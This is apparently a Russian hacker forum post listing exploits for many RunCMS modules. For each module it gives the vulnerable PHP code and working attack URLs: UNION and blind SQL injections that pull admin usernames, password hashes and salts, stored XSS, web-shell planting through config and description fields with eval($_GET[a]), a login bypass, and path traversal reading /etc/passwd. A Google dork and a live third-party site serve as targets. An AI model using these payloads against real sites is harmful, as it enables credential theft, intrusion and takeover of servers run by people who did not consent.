RunCMS Module eBlog 0.1 Blind-SQL Уязвимый продукт: Module eBlog Версия: <= 0.1 Линк: http://www.runcms.ru/modules/files/showfile.php?lid=165 Дорк: "inurl:modules/eblog/" Blind-SQL Уязвимость в файле index.php. Уязвимый кусок кода: PHP: $result = $db->query("select cat_blogid from ".$db->prefix(eblog_cat)." where cat_id=$cat") or $eh->show("0013"); Exploit: Code: true: /modules/eblog/index.php?cat=1+and+1=1 false: /modules/eblog/index.php?cat=1+and+1=2 Example: Code: true: http://utahvalleyonline.com/ourplace/modules/eblog/index.php?cat=12+and+substring(version(),1,1)=5 false: http://utahvalleyonline.com/ourplace/modules/eblog/index.php?cat=12+and+substring(version(),1,1)=4
Уязвимости модулей RunCMS XtremGuestbook Версия: 1.2 Скачать: http://www.runcms.ru/modules/files/visit.php?lid=194 SQL-INJ Уязвимый скрипт: /modules/xtremuserguestbook/index1.php Запрос: /modules/xtremuserguestbook/index1.php?gbid=2&op=Messageedit&idmsg=-1+union+select+1,uname,pwdsalt,pass,5,6,7+from+runcms_users Параметр gbid - айди текушего юзера Уязвимый кусок кода: Не знаю, что это за стеб, видимо тут должна была быть проверка на административные права, но получилось вот так .. PHP: $gbid = intval($HTTP_GET_VARS['gbid']); if ($gbid != $xoopsUser->uid()) { redirect_header(XOOPS_URL."/",3,_NOPERM); } PHP: switch($op) { case "Messageedit": Messageedit($HTTP_GET_VARS["idmsg"]); break; PHP: function Messageedit($idmsg) { global $db, $xoopsModule, $myts, $gbid; $result=$db->query("SELECT user_id,uname,url,email,title,message,note FROM ".$db->prefix("xtremuserguestbook")." WHERE xtremuserguestbook_id=$idmsg"); Так же можно удалять \ редактировать \ etc сообщения Активная XSS Уязвимо поле E-mail [email protected]'><script>alert()</script><' Заливка шелла через конфиг Зависимость: на папку /modules/xtremuserguestbook/cache должны стоять 777 чмоды (я к примеру забыл их поставить)) Уязвимый скрипт: /modules/xtremuserguestbook/conf.php Запрос: /modules/xtremuserguestbook/conf.php?gbid=2&op=Config Заюзаем поле _XTUG_NBMSGBYPAGE - 10;eval($_GET[a]);// и сохраняем настройки, они сохранятся в cache/2.php где 2 - наш айди Уязвимый кусок кода: Так же, как и в случае со скулей, идет не понятная проверка PHP: $gbid = intval($HTTP_GET_VARS['gbid']); if ($gbid != $xoopsUser->uid()) { redirect_header(XOOPS_URL."/",3,_NOPERM); } PHP: function SaveConfig($unbmessage,$uallowbbcode,$uallowhtml,$uallowsmileys,$usendmail2webmaster,$umoderate,$ushowdisclaimer,$ushowlogo) { global $db, $myts, $HTTP_POST_VARS, $gbid; $fp=fopen("cache/".$gbid.".php","w"); fwrite($fp,'<?php $uallowbbcode='.$uallowbbcode.'; $uallowhtml='.$uallowhtml.'; $uallowsmileys='.$uallowsmileys.'; $unbmsgbypage='.$unbmessage.'; $usendmail2webmaster='.$usendmail2webmaster.'; $umoderate='.$umoderate.'; $ushowdisclaimer='.$ushowdisclaimer.'; $ushowlogo='.$ushowlogo.'; ?>'); fclose($fp); redirect_header("index.php", 1, _UPDATED); exit(); } switch($op) { case "Config": Config(); break; case "SaveConfig": SaveConfig($nbmessage,$HTTP_POST_VARS["allowbbcode"],$HTTP_POST_VARS["allowhtml"],$HTTP_POST_VARS["allowsmileys"],$HTTP_POST_VARS["sendmail2webmaster"],$HTTP_POST_VARS["moderate"],$HTTP_POST_VARS["showdisclaimer"],$HTTP_POST_VARS["showlogo"]); break; } "Конфиг" после запроса будет выглядеть примерно вот так: PHP: <?php $uallowbbcode=0; $uallowhtml=0; $uallowsmileys=0; $unbmsgbypage=10;eval($_GET[a]);//; $usendmail2webmaster=0; $umoderate=0; $ushowdisclaimer=0; $ushowlogo=0; ?>
MyAnnonces Версия: 1.7 Скачать: http://www.runcms.ru/modules/files/visit.php?lid=94 SQL-INJ Уязвимый скрипт: addannonces.php Запрос: /modules/MyAnnonces/addannonces.php?op=addindex&cid=-1+union+select+pass,2+from+runcms_users Вместо pass поочереди подставляем uname,pwdsalt, т.к. concat заюзать не получится - срабатывает мегахаксорная зашита) Уязвимый кусок кода: Уязвимость можно проэксплуатировать только, если есть хоть 1 категория. PHP: switch($op) { case "addindex": addindex($cid); break; PHP: function addindex($cid) { .............. list($numrows) = $db->fetch_row($db->query("select cid, title from ".$db->prefix("ann_categories")."")); if ($numrows>0) { .............. $requete = $db->query("select title, affprix from ".$db->prefix("ann_categories")." where cid=".$cid.""); list($title, $affprix) = $db->fetch_row($requete); SQL-INJ Уязвимый скрипт: annonces-p-f.php Зависимость: magic_quotes = off Запрос: /modules/MyAnnonces/annonces-p-f.php?op=EnvAnn&lid='+union+select+uname,pwdsalt,pass+from+runcms_users%23 Уязивмый кусок кода: PHP: switch($op) { case "EnvAnn": EnvAnn($lid); break; ........... function EnvAnn($lid) { ........... $result = $db->query("SELECT lid, title, type FROM ".$db->prefix("ann_annonces")." where lid='$lid'"); list($lid, $title, $type) = $db->fetch_row($result); echo "<B><A HREF=\"index.php\">"._CLA_MAIN."</A> » "._CLA_SENDTO." $lid \"<B>$type : $title</B>\" Запрос: /modules/MyAnnonces/annonces-p-f.php?op=MailAnn&yname=&ymail=&fname=&fmail=[email protected]&lid=-1+union+select+1,pass,uname,pwdsalt,5,6,7,8,9,10,11,12,13+from+runcms_users На указанный email придет письмо вида Code: Hello , thought that this advert might interest you and wanted to send it to you. admin : dd94709528bb1c83d08f3088d4043f4742891f4f 153a Price : 6 Ђ 7 Email address : http://localhost/runcms/modules/MyAnnonces/contact.php?lid=1 Telephone : 5 Town : 11 Country : 12 Other adverts are available in teh Classified Adverts section of Mysite http://{SITE URL}/modules/MyAnnonces/ Уязвимый кусок кода: PHP: switch($op) { case "MailAnn": MailAnn($lid, $yname, $ymail, $fname, $fmail); break; ............ function MailAnn($lid, $yname, $ymail, $fname, $fmail) { global $xoopsConfig, $xoopsUser, $db, $monnaie, $ynprice, $myts, $meta; $result = $db->query("SELECT lid, title, type, description, tel, price, typeprix, date, email, submitter, town, country, photo FROM ".$db->prefix("ann_annonces")." where lid=$lid"); Можно обойтись и без отсылки на мыло) Запрос: /modules/MyAnnonces/annonces-p-f.php?op=ImprAnn&lid=-1+union+select+1,pass,uname,pwdsalt,5,6,7,8,9,10,11,12,13+from+runcms_users Уязвимый кусок кода: PHP: switch($op) { case "ImprAnn": ImprAnn($lid); break; .............. function ImprAnn($lid) { global $xoopsConfig, $db, $monnaie, $useroffset, $claday, $ynprice, $myts, $meta; $currenttheme = getTheme(); $result = $db->query("SELECT lid, title, type, description, tel, price, typeprix, date, email, submitter, town, country, photo FROM ".$db->prefix("ann_annonces")." where lid=$lid"); Флуд именами\паролями\явками своего \ чужого мыла Уязвимый скрипт: contact.php Зависимость: magic_quotes = off Запрос: /modules/MyAnnonces/contact.php?submit=1&id=-1'+union+select+'[email protected]',2,pass,uname,pwdsalt+from+runcms_users%23 Уязвимый кусок кода: PHP: if ($submit) { include("header.php"); global $xoopsConfig, $db, $myts, $meta; $result = $db->query("SELECT email, submitter, title, type, description FROM ".$db->prefix("ann_annonces")." WHERE lid = '$id'"); while(list($email, $submitter, $titre, $type, $description) = $db->fetch_row($result)) { И на этом мне надоело, скриптов в этом модуле еще достаточно и все дырявые .. кто хочет - может добить.
BamaGalerie Версия: 3.0.1 Скачать: http://www.runcms.ru/modules/files/visit.php?lid=282 Раскрытие путей /modules/bamagalerie3/makegoback.php?galerieConfig[page_type]=bama_page /modules/bamagalerie3/navig_cat_show.php /modules/bamagalerie3/include/copy_one_img.php?galerieConfig[page_type]=bama_page ^ а так же половина скриптов с той же папки (include) SQL-INJ Уязвимый скрипт: rateimg.php Запрос: /modules/bamagalerie3/rateimg.php?id=-1+union+select+pass+from+runcms_users Уязвимый кусок кода: PHP: if($HTTP_POST_VARS['submit']) { ......... } else { $result=$db->query("select titre from ".$db->prefix("bamagalerie3_img")." where id=$id"); ------------------------------------------ MiniGal Версия: 0.51 Скачать: http://www.runcms.ru/modules/files/visit.php?lid=491 Активная XSS Добавить коментарий > уязвимо поле name: <script>alert()</script> Заливка шелла с админки модуля - Заливаем картинку, затем редактируем Description: <?eval($_GET[a]);?> Шелл будет в файле mg2db_idatabase.php
MyAlbum Версия: 1.0 Скачать: http://www.runcms.ru/modules/files/visit.php?lid=302 SQL-INJ Уязвимый скрипт: newcomment.php Запрос: /modules/myalbum/newcomment.php?item_id=-1+union+select+pass+from+runcms_users%23 Уязвимый кусок кода: Фактически целиком весь файл PHP: $q = "select l.title from ".$db->prefix("myalbum_photos")." l, ".$db->prefix("myalbum_text")." t where l.lid=$item_id and l.lid=t.lid and status>0"; $result=$db->query($q); list($ltitle)=$db->fetch_row($result); $subject = $ltitle; Уязвимый скрипт: photo.php (Скулю не добил, у меня какие то проблемы с модулем ..) Запрос: /modules/myalbum/photo.php?lid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13%23 Уязвимый кусок кода: PHP: $q = "select l.lid, l.cid, l.title, l.ext, l.res_x, l.res_y, l.status, l.date, l.hits, l.rating, l.votes, l.comments, t.description from ".$db->prefix("myalbum_photos")." l, ".$db->prefix("myalbum_text")." t where l.lid=$lid and l.lid=t.lid and status>0"; $result=$db->query($q); list($lid, $cid, $ltitle, $ext, $res_x, $res_y, $status, $time, $hits, $rating, $votes, $comments, $description)=$db->fetch_row($result); Уязвимый скрипт: ratephoto.php Запрос: /modules/myalbum/ratephoto.php?lid=-1+union+select+pass+from+runcms_users Уязвимый кусок кода: PHP: if($HTTP_POST_VARS['submit']) { ............... } else { .............. $result=$db->query("select title from ".$db->prefix("myalbum_photos")." where lid=$lid"); list($title) = $db->fetch_row($result); Еще одна не добитая скуля, видимо из за корявой установки модуля .. Уязвимый скрипт: viewcat.php Запрос: /modules/myalbum/viewcat.php?cid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12%23 Уязвимый кусок кода: PHP: $fullcountresult=$db->query("select count(*) from ".$db->prefix("myalbum_photos")." where cid=$cid and status>0"); list($numrows) = $db->fetch_row($fullcountresult); if($numrows>0){ $q = "select l.lid, l.title, l.ext, l.res_x, l.res_y, l.status, l.date, l.hits, l.rating, l.votes, l.comments, t.description from ".$db->prefix("myalbum_photos")." l, ".$db->prefix("myalbum_text")." t where cid=$cid and l.lid=t.lid and status>0 order by $orderby"; $result=$db->query($q,$show,$min);
eBlog Версия: 0.3 Заходим, создаем свой блог, добавляем запись .. Уязвимый скрипт: blogentry.php Запрос: blogentry.php?op=edit&text_id=-1+union+select+1,pass,pwdsalt,4+from+runcms_users+limit+0,1 Где выделенная еденица - айди вашего блога Уязвимый кусок кода: PHP: if ($op == 'edit') { list($b_id, $title, $txt, $dt) = $db->fetch_row($db->query("select text_blogid, text_title, text_text, text_date from ". $db->prefix("eblog_text")." where text_id=$text_id")); if (!isSet($b_id) || $b_id != $blog_id) { echo $blog_id; return; } if (!isSet($cats)) { $result = $db->query("select tc_catid from ".$db->prefix("eblog_text_cat")." where tc_textid=$text_id"); $cats = array(); while ($myrow = $db->fetch_array($result)) { $cats += array($myrow['tc_catid']); } } eBlogMenu(array("index.php?blog_id=1" => _EBLOG_MY_BLOG, "blogentry.php?op=add" => _EBLOG_ADD_ENTRY, "blogadmin.php?op=edit" => _EBLOG_ADMIN, "index.php?blog_id=-1" => _EBLOG_CHOOSE_BLOG, "index.php" => _EBLOG_ALL_LATEST ) ); showForm(_EBLOG_EDIT_ENTRY, $title, $txt, $all_cats, $cats, $text_id, ""); return; } Активная XSS Уязвимо поле имя блога
Event Calendar Версия: 2.4 Уязвимый скрипт: display.php Запрос: /modules/ecal/display.php?year1=&month1=&day1=&katid=-1+union+select+pass,2+from+runcms_users Уязвимый кусок кода: PHP: if ($katid) { $abfrage =" stamp >= \"$year1-$month1-$day1 00:00:00\" AND cid=$katid AND valid ='yes'"; $kat1 = $db->query("SELECT title, cid FROM ".$db->prefix("ecal_cat")." where cid=$katid"); list($kattitle) = $db->fetch_row($kat1); Уязвимый скрипт: localleve.php Запрос: /modules/ecal/localleve.php?lid=-1+union+select+pass+from+runcms_users%23 Уязвимый кусок кода: PHP: $kat1 = $db->query("SELECT location FROM ".$db->prefix("ecal_location")." where lid=$lid"); list($loctitle) = $db->fetch_row($kat1); Уязвимый скрипт: location.php Запрос: /modules/ecal/location.php?lid=-1+union+select+1,2,3,uname,5,pass,pwdsalt,8,9,10,11+from+runcms_users Уязвимый кусок кода: PHP: $lid = $HTTP_GET_VARS['lid']; $locat = $db->query("SELECT * FROM ".$db->prefix("ecal_location")." where lid=".$lid); $location = $db->fetch_array($locat); Уязвимый скрипт: modifevent.php Зависимость: magic_quotes = off Запрос: /modules/ecal/modifevent.php?id=-1'+union+select+1,2,uname,4,5,6,pass,pwdsalt,9,10,11,12,13,14+from+runcms_users%23 Уязвимый кусок кода: PHP: $query = $db->query("SELECT * FROM ".$db->prefix("ecal")." WHERE id = '$id' AND valid='yes'"); $row = $db->fetch_array($query); Уязвимый скрипт: remind.php Запрос: /modules/ecal/remind.php?op=remindadd&id=-1+union+select+1,2,3,4,5,6,pass,8,9,10,11,12,13,14+from+runcms_users Уязвимый кусок кода: PHP: $tid = $HTTP_GET_VARS['id']; ....... $query = $db->query("SELECT * FROM ".$db->prefix("ecal")." WHERE id = $tid"); $row = $db->fetch_array($query); Уязвимый скрипт: teilnehmen.php Запрос: /modules/ecal/teilnehmen.php?op=teiladd&id=-1+union+select+1,2,3,4,5,6,pass,8,9,10,11,12,13,14+from+runcms_users Уязвимый кусок кода: PHP: $tid = $HTTP_GET_VARS['id']; ....... $query = $db->query("SELECT * FROM ".$db->prefix("ecal")." WHERE id = $tid"); $row = $db->fetch_array($query);
Friendfinder Версия: 3.02 Уязвимый скрипт: search.php Запрос: /modules/friendfinder/search.php?page=search&search=search&agefrom=77&agetill=19+union+select+1,uname,pwdsalt,4,0x31322e31322e31393939,pass+from+runcms_users%23&sex=&partner=&state=&category=&sort= Уязвимый кусок кода: PHP: if ($page == search) { if ($search == search) { /************************/ $g="SUBSTRING(birth,7)"; $m="SUBSTRING(birth,4,2)"; $d="LEFT(birth,2)"; $dat="CONCAT($g,'.',$m,'.',$d)"; /************************/ $sql = "SELECT id,user, city, state, birth, title FROM ".$db->prefix("friendfinder")." inner join ".$db->prefix("friendfinder_state")." on state = cid WHERE (DATE_FORMAT(FROM_DAYS(TO_DAYS(NOW())-TO_DAYS($dat)), '%Y')+0) BETWEEN $agefrom AND $agetill AND partner='$sex' AND sex='$partner' AND state='$state' AND active='1' AND category='$category' ORDER BY '$sort'"; } else { echo ""._TEXTSEARCHUNSUCCESSFUL.""; } echo "<table border=0 cellpadding=5 cellspacing=0 align=center width=550><tr><td><font face=arial size=2>"._UNAME."</td><br><td><font face=arial size=2>"._TEXTREGION."</td><td><font face=arial size=2>"._CITY."</td><td><font face=arial size=2>"._TEXTAGE."</td></tr>"; $result = $db->query($sql); while (list($id,$user,$city,$state,$birth,$title ) = $db->fetch_row($result)) { Уязвимый скрипт: view.php Зависимость: magic_quotes = off Запрос: /modules/friendfinder/view.php?id=-1'+union+select+1,uname,3,4,5,pass,7,8,9,pwdsalt,11,12,13,14,0x31322e31322e31393939,16,17,19,20,21,22+from+runcms_users%23 Уязвимый кусок кода: PHP: if (isset($id) || $id != "") { $view = $db->query("SELECT id,user,active,sex,category,name,email,city,state,country,hobby,partner,height,weight,birth,pic,Description,imgname,imgtime,date, title FROM ".$db->prefix("friendfinder")." inner join ".$db->prefix("friendfinder_state")." on state = cid WHERE id = '$id'"); while (list($id,$user,$active,$sex,$category,$name,$email,$city,$state,$country,$hobby,$partner,$height,$weight,$birth,$pic,$Description,$imgname,$imgtime,$date,$title ) = $db->fetch_row($view)) {
googlestats Версия: 2 Уязвимый скрипт: info-robot.php Запрос: /modules/googlestats/info-robot.php?robot=-1+union+select+1,2,pass,pwdsalt,5,uname,7,8,9,10+from+runcms_users Уязвимый кусок кода: PHP: $descr = "descr_".$LANGUE; $sql = "SELECT *"; $sql .= " FROM ".$TABLE_ROBOTS; $sql .= " WHERE id=".$robot; $res = mysql_query($sql) or erreurServeurMySQL($sql); if ($enr = mysql_fetch_array($res)) Уязвимый скрипт: index.php Запрос: /modules/googlestats/index.php?rub=&robot=-1+union+select+pass+from+runcms_users%23&s=06&d=20090202 Уязвимый кусок кода: PHP: // index.php if ( (getVar('rub') == 'bilan') || ($rub == '') ) { bilan(); } // --------------------------------------------------------------------------- // rubrique PAGES // --------------------------------------------------------------------------- else if (getVar('rub') == 'pages') { pages(); } ............ // lib.php // contenu afficherPages($robot); ........... // function afficherPages() $sql = "SELECT url, max(date) AS 'lastdate', count(id) AS 'occurrence', ip, dns"; $sql .= " FROM ".$db->prefix("gs_log"); $sql .= " WHERE ".$sql_date; $sql .= " AND robot=".$robot; $sql .= " GROUP BY url"; $sql .= " ORDER BY ".$tri; $res = mysql_query($sql) or erreurServeurMySQL($sql); if (mysql_num_rows($res) == 0)
HotNews Версия: 2 Уязвимый скрипт: rate.php Запрос: /modules/HotNews/rate.php?tid=-1+union+select+1,pass+from+runcms_users Уязвимый кусок кода: PHP: if($HTTP_POST_VARS['submit']) { ........ } else { include(XOOPS_ROOT_PATH."/header.php"); OpenTable(); $result=$db->query("SELECT cid, tname FROM ".$db->prefix("HotNews")." WHERE tid=$tid"); list($cid, $tname) = $db->fetch_row($result); Уязвимый скрипт: index.php Запрос: /modules/HotNews/?op=viewexttutorial&tid=-1+union+select+pass+from+runcms_users Уязвимый кусок кода: PHP: switch($op) { case "viewexttutorial": viewexttutorial(); break; ........... function viewexttutorial() { global $db, $xoopsTheme, $HTTP_GET_VARS, $framebrowse; include(XOOPS_ROOT_PATH."/header.php"); $tid = $HTTP_GET_VARS['tid']; $db->query("update ".$db->prefix("HotNews")." set hits=hits+1 where tid=$tid "); OpenTable(); $result = $db->query("select tlink from ".$db->prefix("HotNews")." where tid=$tid "); list($tlink) = $db->fetch_row($result); Уязвимый скрипт: index.php Запрос: /modules/HotNews/?op=viewtutorial&tid=-1+union+select+1,2,uname,4,pass,6,7,8,9+from+runcms_users Уязвимый кусок кода: PHP: case "viewtutorial": viewtutorial(); break; ........... function viewtutorial() { global $xoopsConfig, $xoopsUser, $db, $xoopsTheme, $HTTP_GET_VARS, $myts, $content_visdefault, $content_default, $content_visualize, $imgwidth, $imgheight, $framebrowse; include(XOOPS_ROOT_PATH."/header.php"); $tid = $HTTP_GET_VARS['tid']; if ($HTTP_GET_VARS['page']) { $page = $HTTP_GET_VARS['page']; } else { $db->query("update ".$db->prefix("HotNews")." set hits=hits+1 where tid=$tid "); } OpenTable(); $result = $db->query("select tid, cid, tname, timg, tcont, tauthor, codes, hits, submitter from ".$db->prefix("HotNews")." where tid=$tid "); list($tid, $cid, $tname, $timg, $tcont, $tauthor, $codes, $hits, $submitter) = $db->fetch_row($result); Уязвимый скрипт: index.php Запрос: /modules/HotNews/?op=listHotNews&cid=-1+union+select+1,pass,3+from+runcms_users Уязвимый кусок кода: PHP: case "listHotNews": listHotNews(); break; ........ function listHotNews() { global $xoopsConfig, $xoopsUser, $db, $xoopsTheme, $myts, $category_visdefault, $category_visualize, $category_default, $columnset, $imgwidth, $imgheight; global $tutorial_visdefault, $tutorial_visualize, $tutorial_default, $HTTP_GET_VARS, $framebrowse; include(XOOPS_ROOT_PATH."/header.php"); $cid = $HTTP_GET_VARS['cid']; $xcid = $cid; OpenTable(); $result = $db->query("select scid, cname, cimg from ".$db->prefix("HotNews_categorys")." where cid=$cid"); list($scid, $cname, $cimg) = $db->fetch_row($result); Уязвимый скрипт: index.php Запрос: /modules/HotNews/?op=printpage&tid=-1+union+select+1,2,pass,4+from+runcms_users Уязвимый кусок кода: PHP: case "printpage": PrintTutPage(); break; .......... function PrintTutPage() { global $xoopsConfig, $xoopsUser, $db, $myts, $HTTP_GET_VARS, $imgwidth, $imgheight; $tid = $HTTP_GET_VARS['tid']; $result=$db->query("select tname, timg, tcont, codes from ".$db->prefix("HotNews")." where tid=$tid"); list($tname, $timg, $tcont, $codes) = $db->fetch_row($result); Уязвимый скрипт: submit.php Запрос: /modules/HotNews/submit.php?op=addTutorial&cid=-1+union+select+1,uname,pass,4+from+runcms_users Уязвимый кусок кода: PHP: case "addTutorial": addTutorial(); break; ......... function addTutorial(){ global $db, $xoopsConfig, $xoopsUser, $HTTP_GET_VARS, $myts, $xoopsTheme; include(XOOPS_ROOT_PATH."/header.php"); $cid = $HTTP_GET_VARS["cid"]; $createdir = $HTTP_GET_VARS["createdir"]; // Add new Tutorial ------------------// $result=$db->query("select scid, cname, cdesc, cimg from ".$db->prefix("HotNews_categorys")." where cid=$cid"); list($scid,$cname,$cdesc,$cimg) = $db->fetch_row($result); Заливка шелла Уязвимый скрипт: upload.php Скрипт не проверяет типа файла \ расширение поэтому возможно можно залить шелл в папку images, либо в любую другую, передав соотвествующий путь в переменной img_path ( Хотя у меня на локале не заливались даже картинки, поэтому проверить не смог .. впрочем, если расширение и проверяется, то можно залить шелл с раширением .jpg, но img_path=/shell.php%00 )
banners - дефолтный модуль RunCMS Версия: 1.4 SQL-INJ Уязвимый скрипт: index.php Зависимость: magic_quotes = off Зависимость: Включенный модуль banners Вначале обойдем авторизацию Запрос [POST \ GET]: login=q' union select 1,2,3,0x3930303135303938336364323466623064363936336637643238653137663732#&pass=abc где 0x3930303135303938336364323466623064363936336637643238653137663732 - хэш от abc, переведенный в число. Уязвимый кусок кода: PHP: switch ($_REQUEST['op']) { case "bannerstats": bannerstats($_POST['login'], $_POST['pass']); break; .......... function bannerstats($login, $pass) { global $db, $myts, $xoopsConfig, $meta, $xoopsModule; $sqlpass = md5($pass); $result = $db->query("SELECT cid, name, login, passwd FROM ".$db->prefix("banner_clients")." WHERE login='$login' AND passwd='$sqlpass'"); list($cid, $name, $login, $passwd) = $db->fetch_row($result); if ($sqlpass == $passwd) { Едем дальше, получим пароль админа: Уязвимый кусок кода: PHP: $result = $db->query("SELECT bid, imptotal, impmade, clicks, datestart FROM ".$db->prefix("banner_items")." WHERE cid=$cid"); // $cid - один из столбцов с предыдущего скуль-запроса while ( list($bid, $imptotal, $impmade, $clicks, $date) = $db->fetch_row($result) ) { if ( ($impmade == 0) || ($clicks == 0) ) { $percent = 0; } else { $percent = round(100 * ($clicks/$impmade), 2); } if ( $imptotal == 0 ) { $left = _BN_UNLIMITED; } else { $left = ($imptotal-$impmade); } echo " <td class='center'>$bid</td> Получаем иньекции для второго запроса в мускул: -1 union select uname,0,0,0,0 from runcms_users limit 0,1 -1 union select pass,0,0,0,0 from runcms_users limit 0,1 -1 union select pwdsalt,0,0,0,0 from runcms_users limit 0,1 Переведем в число: uname: 0x2d3120756e696f6e2073656c65637420756e616d652c302c302c302c302066726f6d2072756e636d735f7573657273206c696d697420302c31 pass: 0x2d3120756e696f6e2073656c65637420706173732c302c302c302c302066726f6d2072756e636d735f7573657273206c696d697420302c31 pwdsalt: 0x2d3120756e696f6e2073656c6563742070776473616c742c302c302c302c302066726f6d2072756e636d735f7573657273206c696d697420302c31 Итого общий запрос: login=q' union select 0x2d3120756e696f6e2073656c65637420756e616d652c302c302c302c302066726f6d2072756e636d735f7573657273206c696d697420302c31,2,3,0x3930303135303938336364323466623064363936336637643238653137663732#&pass=abc
messages - дефолтный модуль RunCMS Версия: 1.02 Blind SQL-INJ Уязвимый скрипт: read.php и readsend.php Посимвольный брут Запрос: /modules/messages/read.php?start=0&total_messages=1&sort=msg_time+and+(select+ascii(substring(pass,1,1))+from+runcms_users+limit+0,1)>100&by=DESC Уязвимый кусок кода: PHP: // read.php $start = intval($_REQUEST['start']); $total_messages = intval($_REQUEST['total_messages']); $sort = $_GET['sort']; $by = $_GET['by']; $pm_arr =& PM::getAllPM(array("to_userid=".$xoopsUser->getVar("uid").""), true, $sort, $by, 1, $start); // pm.class.php function &getAllPM($criteria=array(), $asobject=false, $sort='msg_time', $order='ASC', $limit=0, $start=0) { global $db; $ret = array(); $where_query = ''; if ( is_array($criteria) && count($criteria) > 0 ) { $where_query = " WHERE"; foreach ( $criteria as $c ) { $where_query .= " $c AND"; } $where_query = substr($where_query, 0, -4); } if ( !$asobject ) { $sql = "SELECT msg_id FROM ".$db->prefix("private_msgs")."$where_query ORDER BY $sort $order"; $result = $db->query($sql, $limit, $start); while ( $myrow = $db->fetch_array($result) ) { $ret[] = $myrow['msg_id']; } } else { // как видим - нам мешает ORDER BY =\ $sql = "SELECT * FROM ".$db->prefix("private_msgs")."".$where_query." ORDER BY $sort $order"; $result = $db->query($sql, $limit, $start); while ( $myrow = $db->fetch_array($result) ) { $ret[] = new PM($myrow); } } return $ret; }
Members List Версия: 1.1 Уязвимый скрипт: index.php Запрос: /modules/memberslist/index.php?query=!')+union+select+1,pass+from+runcms_users%23 Уязвимый кусок кода: PHP: if ( isset($query) ) { $where = "WHERE level>0 AND (uname LIKE '%$query%' OR user_icq LIKE '%$query%' "; $where .= "OR user_from LIKE '%$query%' OR user_sig LIKE '%$query%' "; $where .= "OR user_aim LIKE '%$query%' OR user_yim LIKE '%$query%' OR user_msnm like '%$query%'"; if ( $xoopsUser ) { if ( $xoopsUser->isAdmin() ) { $where .= " OR email LIKE '%$query%'"; } } $where .= ") "; } else { $where = "WHERE level>0"; } $result = $db->query("SELECT uid, uname FROM ".$db->prefix("users")." $where ORDER BY uid DESC",1,0); list($lastuid, $lastuser) = $db->fetch_row($result);
Arcade Версия: 0.51 Уязвимый скрипт: index.php Запрос: /modules/arcade/index.php?act=show_cat&cat_id=-1+union+select+1,pwdsalt,pass,4,uname,6,7,8,9,10,11,12,13,14,15+from+runcms_users%23 Уязвимый кусок кода: PHP: switch($act) { case 'show_cat': { show_category($cat_id); break; } ........... // /include/arcade_func.php function _show_cat_games($cat_id) { global $db, $HTTP_GET_VARS, $options; $sql = "SELECT * FROM ".$db->prefix('arcade_cats')." WHERE cat_id=$cat_id"; $res = $db->query($sql); $catrow = $db->fetch_object($res); $sql1 = "SELECT count(*) from ".$db->prefix('arcade_games')." WHERE cat_id=$cat_id AND active=1 order by gtitle"; $res1 = $db->query($sql1); list($total_games) = $db->fetch_array($res1); $pager = new PageNav($total_games, $options['games_per_page'], $HTTP_GET_VARS['start'], "start", "act=show_cat&cat_id=$cat_id"); $sql2 = "SELECT * from ".$db->prefix('arcade_games')." WHERE cat_id=$cat_id AND active=1 order by gtitle"; $res2 = $db->query($sql2, $options['games_per_page'], $HTTP_GET_VARS['start']); if ($catrow->cat_info) { $boxstuff = "<center><h1>".$catrow->cat_info."</h1></center><br />";} if ($pager->renderNav()) { $boxstuff .= "<center>".$pager->renderNav()."</center><br />";} $title= _MD_DISPCAT.$catrow->cat_name; while ($row = $db->fetch_object($res2)) { $boxstuff .=_display_game_info($row); } if ($pager->renderNav()) { $boxstuff .= "<br /><center>".$pager->renderNav()."</center>";} themecenterposts($title, $boxstuff); } Запрос: /modules/arcade/index.php?act=play_game&gid=-1+union+select+1,pwdsalt,3,4,uname,6,7,8,9,10,11,12,pass,14,15+from+runcms_users%23 Уязвимый кусок кода: PHP: case 'play_game': { play_game($gid); break; } ..... // /include/arcade_func.php function play_game($gid) { ...... swf_display($gid); ...... function swf_display($gid) { global $db; $sql = "SELECT * from ".$db->prefix('arcade_games')." WHERE gid=".$gid; $res = $db->query($sql); Запрос: /modules/arcade/index.php?act=show_stats&gid=-1+union+select+pass,2+from+runcms_users%23 Уязвимый кусок кода: PHP: case 'show_stats': { show_gamestats($gid); break; } ....... function show_gamestats($gid) { OpenTable(); _display_gamestats($gid); CloseTable(); } ....... function _display_gamestats($gid) { global $db, $HTTP_POST_VARS, $xoopsUser, $options;; $sql = "SELECT gtitle,highscore_type FROM ".$db->prefix('arcade_games')." WHERE gid=".$gid.""; $res = $db->query($sql); Чтение произвольных файлов Зависимость: magic_quotes = off Запрос: /modules/arcade/index.php?act=download_game&game=/../../../../../../../../../../../../../../../../../../../etc/passwd%00 Уязвимый кусок кода: PHP: case 'download_game': { download_game($game); break; } ..... function download_game($game) { global $HTTP_POST_VARS, $xoopsUser; $dir = XOOPS_ROOT_PATH."/modules/arcade/cache/tar/"; $file = $dir."game_".$game.".tar"; $dir2 = XOOPS_ROOT_PATH."/modules/arcade/tar/"; $file2 = $dir2."game_".$game.".tar"; if ( !@file_exists($file) && !@file_exists($file2) ) { new_tar($game); } else { header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: public"); header("Content-Description: File Transfer"); header('Content-type: application/x-tar'); $header="Content-Disposition: attachment; filename=game_".$game.".tar"; header($header ); header("Content-Transfer-Encoding: binary"); @readfile($file); } } На этом закончу с этим модулем, дальше все те же скули ..
Book Reviews Версия: 0.3 Уязвимый скрипт: index.php Запрос: Code: /modules/mareviews/?func=catlist&category=%252d%2531%2527%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2563%256f%256e%2563%2561%2574%255f%2577%2573%2528%2530%2578%2533%2561%252c%2570%2561%2573%2573%252c%2570%2577%2564%2573%2561%256c%2574%2529%252c%2575%256e%2561%256d%2565%252c%2533%2520%2566%2572%256f%256d%2520%2572%2575%256e%2563%256d%2573%255f%2575%2573%2565%2572%2573%2523 Уязвимый кусок кода: PHP: function show_catlist($category) { global $isbn, $title, $db; // а благодаря этому можно заюзать concat для гламурности, // а так-же забыть про magic_quotes .. // .. дважды заURLэнкодив иньекцию $category = urldecode($category); $table = $db->prefix()."_mareviews"; /* * Set display title */ $box_title = $category." - Reviews"; $content = "<table>"; $sql = " SELECT title, author, id FROM $table WHERE category = '$category' ORDER BY author, title"; $result = $db->query($sql);
